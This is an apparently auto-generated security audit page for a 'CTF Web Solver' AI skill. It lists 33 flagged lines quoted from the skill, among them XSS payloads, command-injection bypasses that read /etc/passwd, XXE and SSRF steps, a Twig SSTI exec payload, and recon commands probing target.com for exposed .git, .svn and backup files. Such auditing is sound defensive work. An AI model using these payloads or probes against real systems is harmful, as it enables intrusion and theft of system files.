CTF Web Solver
Assists users in solving web security challenges during CTF competitions by analyzing vulnerabilities and constructing effective attack payloads.
Install this skill
Security score
The CTF Web Solver skill was audited on Feb 9, 2026 and we found 33 security issues across 5 threat categories, including 10 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Eval function call - arbitrary code execution
| 401 | <script>eval(atob('YWxlcnQoMSk='))</script> |
Template literal with variable interpolation in command context
| 410 | ```bash |
Template literal with variable interpolation in command context
| 454 | ```python |
Curl to non-GitHub URL
| 121 | curl -I http://target.com # HTTP 响应头 |
Curl to non-GitHub URL
| 131 | curl http://target.com/robots.txt |
Curl to non-GitHub URL
| 132 | curl http://target.com/.git/HEAD |
Curl to non-GitHub URL
| 133 | curl http://target.com/.svn/entries |
Curl to non-GitHub URL
| 134 | curl http://target.com/www.zip |
Curl to non-GitHub URL
| 135 | curl http://target.com/backup.sql |
Access to /etc/passwd
| 242 | 2. 实体读取 → file:///etc/passwd |
Access to /etc/passwd
| 412 | cat${IFS}/etc/passwd |
Access to /etc/passwd
| 413 | cat$IFS$9/etc/passwd |
Access to /etc/passwd
| 414 | {cat,/etc/passwd} |
Access to /etc/passwd
| 415 | cat</etc/passwd |
Access to /etc/passwd
| 418 | ca\t /etc/passwd |
Access to /etc/passwd
| 419 | c'a't /etc/passwd |
Access to /etc/passwd
| 420 | c"a"t /etc/passwd |
Access to /etc/passwd
| 421 | /???/c?t /etc/passwd |
Access to .env file
| 466 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
Base64 decode via atob()
| 401 | <script>eval(atob('YWxlcnQoMSk='))</script> |
Unicode escape sequences
| 400 | <svg onload=\u0061lert(1)> |
External URL reference
| 121 | curl -I http://target.com # HTTP 响应头 |
External URL reference
| 122 | whatweb http://target.com # 技术栈识别 |
External URL reference
| 126 | dirsearch -u http://target.com -e php,html,txt,bak |
External URL reference
| 127 | gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt |
External URL reference
| 128 | ffuf -u http://target.com/FUZZ -w wordlist.txt |
External URL reference
| 131 | curl http://target.com/robots.txt |
External URL reference
| 132 | curl http://target.com/.git/HEAD |
External URL reference
| 133 | curl http://target.com/.svn/entries |
External URL reference
| 134 | curl http://target.com/www.zip |
External URL reference
| 135 | curl http://target.com/backup.sql |
External URL reference
| 243 | 3. SSRF 利用 → http://internal |
External URL reference
| 404 | <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.min.js"></script> |